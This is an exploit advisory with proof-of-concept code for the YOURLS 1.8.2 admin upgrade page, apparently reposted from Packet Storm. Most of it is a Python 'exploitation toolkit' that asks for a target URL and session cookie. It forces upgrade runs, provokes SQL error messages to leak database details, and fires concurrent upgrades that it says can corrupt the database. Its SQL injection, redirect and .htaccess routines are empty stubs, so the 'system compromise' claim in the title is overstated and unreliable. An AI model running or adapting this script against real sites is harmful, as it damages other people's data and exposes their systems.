YOURLS 1.8.2 SQL Injection
YOURLS 1.8.2 SQL Injection
YOURLS 1.8.2 SQL Injection

=============================================================================================================================================
| # Title YOURLS 1.8.2 SQL Injection

=============================================================================================================================================
| # Title : YOURLS 1.8.2 SQL Injection & System Compromise in Administrative Upgrade Functions |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://github.com/yourls/yourls/ |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/212395/ & CVE-2022-0088

[+] Summary : Critical security vulnerabilities discovered in YOURLS upgrade module (/admin/upgrade.php)
that could allow attackers to execute arbitrary SQL commands, disclose sensitive database information,
and potentially compromise the entire YOURLS installation during upgrade processes.

[+] Vulnerabilities: CSRF, IDOR, Missing Authorization, Missing Input Validation

[+] POC : python poc.py

#!/usr/bin/env python3

import requests
import sys
import time
from urllib.parse import urljoin

class YOURLS_Upgrade_Exploit:
def __init__(self, target_url, session_cookie=None):
self.base_url = target_url.rstrip('/')
self.upgrade_url = urljoin(self.base_url, 'admin/upgrade.php')
self.session = requests.Session()

if session_cookie:
self.session.headers.update({'Cookie': session_cookie})

self.session.headers.update({
'User-Agent': 'Mozilla/5.0 YOURLS Upgrade',
'Accept': 'text/html,application/xhtml+xml',
})

def trigger_upgrade(self, oldver="1.3", newver="1.8"):
"""Trigger upgrade process to exploit vulnerabilities"""
print("[*] Triggering upgrade process...")

params = {
'step': '1',
'oldver': oldver,
'newver': newver,
'oldsql': '100',
'newsql': '506'
}

try:
response = self.session.get(self.upgrade_url, params=params)

if "Updating DB" in response.text or "Updating table structure" in response.text:
print("[+] Upgrade process triggered successfully")
return True
else:
print("[-] Could not trigger upgrade")
return False

except Exception as e:
print(f"[-] Error: {str(e)}")
return False

def sql_injection_upgrade_14(self, sql_payload):
"""Exploit SQL injection in yourls_update_table_to_14()"""
print("[*] Attempting SQL injection during v1.3 to v1.4 upgrade...")

# We need to control $url parameter in the update query
# The vulnerable line: "UPDATE `$table` SET `keyword` = '$newkeyword' WHERE `url` = '$url';"

# First, we need to know a valid URL from the database
# Then inject via that URL

# This is a blind injection - we need to be creative

exploit_url = f"{self.upgrade_url}?step=2&oldver=1.3&newver=1.4&oldsql=100&newsql=200&from=0"

# The attack requires:
# 1. Knowing an existing URL in the database
# 2. Injecting through that URL parameter
# 3. Triggering the update process

print("[!] Note: This requires prior knowledge of database contents")
return False

def exploit_redirect_injection(self, redirect_url):
"""Exploit insecure redirects in upgrade process"""
print("[*] Attempting redirect injection...")

# Craft malicious upgrade parameters
params = {
'step': '3',
'oldver': '1.7',
'newver': '1.8',
'oldsql': '505',
'newsql': '506'
}

# The vulnerable code path:
# yourls_upgrade() ? yourls_redirect_javascript() with user-controlled parameters

response = self.session.get(self.upgrade_url, params=params)

# Look for JavaScript redirects
if "location.href" in response.text or "window.location" in response.text:
print("[+] Found JavaScript redirects - potential injection point")

# We need to control the redirect URL
# This would require manipulating upgrade parameters or session

return True

return False

def information_disclosure(self):
"""Trigger error messages to reveal database information"""
print("[*] Triggering information disclosure...")

# Trigger SQL errors by providing invalid parameters
params = {
'step': '1',
'oldver': 'invalid',
'newver': '1.8',
'oldsql': 'invalid',
'newsql': '506'
}

try:
response = self.session.get(self.upgrade_url, params=params)

error_indicators = [
'SQLSTATE',
'MySQL',
'syntax error',
'Duplicate entry',
'database',
'table',
'column'
]

for indicator in error_indicators:
if indicator in response.text:
print(f"[+] Information disclosure: Found '{indicator}' in response")

# Extract error details
lines = response.text.split('\n')
for line in lines:
if indicator in line:
print(f" ? {line.strip()[:100]}")

return True

except Exception as e:
print(f"[-] Error: {str(e)}")

return False

def exploit_htaccess_write(self, malicious_content):
"""Attempt to write malicious .htaccess content"""
print("[*] Attempting .htaccess manipulation...")

# The vulnerable function: yourls_clean_htaccess_for_14()
# and yourls_create_htaccess()

# We need to trigger the v1.3 ? v1.4 upgrade path
params = {
'step': '1',
'oldver': '1.3',
'newver': '1.4',
'oldsql': '100',
'newsql': '200'
}

response = self.session.get(self.upgrade_url, params=params)

if "htaccess" in response.text.lower():
print("[+] .htaccess manipulation functions triggered")
print("[!] Note: Full exploitation requires file write permissions")

return False

def race_condition_exploit(self):
"""Exploit race conditions during concurrent upgrades"""
print("[*] Testing for race condition vulnerabilities...")

# The upgrade process doesn't prevent concurrent executions
# We can trigger multiple upgrades simultaneously

import threading

def trigger_upgrade_thread():
params = {
'step': '1',
'oldver': '1.7',
'newver': '1.8',
'oldsql': '505',
'newsql': '506'
}
self.session.get(self.upgrade_url, params=params, timeout=30)

# Launch multiple concurrent upgrades
threads = []
for i in range(5):
t = threading.Thread(target=trigger_upgrade_thread)
threads.append(t)
t.start()

print("[+] Launched 5 concurrent upgrade attempts")
print("[!] This could cause database corruption or inconsistent state")

return True

def main():
target = input("Enter target YOURLS URL (e.g., http://example.com): ").strip()
cookie = input("Enter session cookie (optional, press enter to skip): ").strip()

exploit = YOURLS_Upgrade_Exploit(target, cookie if cookie else None)

print("\n" + "="*60)
print("YOURLS Upgrade Module Exploitation Toolkit")
print("="*60 + "\n")

print("Select exploit option:")
print("1. Trigger upgrade process")
print("2. Test for information disclosure")
print("3. Test for race conditions")
print("4. Full vulnerability scan")
print("5. Exit")

choice = input("\nEnter choice (1-5): ").strip()

if choice == '1':
if exploit.trigger_upgrade():
print("[+] Upgrade triggered - check for SQL errors")

elif choice == '2':
exploit.information_disclosure()

elif choice == '3':
exploit.race_condition_exploit()

elif choice == '4':
print("\n[*] Running full vulnerability scan...")
exploit.trigger_upgrade()
time.sleep(2)
exploit.information_disclosure()
time.sleep(1)
exploit.race_condition_exploit()

elif choice == '5':
print("[*] Exiting...")
sys.exit(0)

else:
print("[-] Invalid choice")

if __name__ == "__main__":
main()

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
Social Media Share
About Contact Terms of Use Privacy Policy
© Khalil Shreateh — Cybersecurity Researcher & White-Hat Hacker — Palestine 🇵🇸
All content is for educational purposes only. Unauthorized use of any information on this site is strictly prohibited.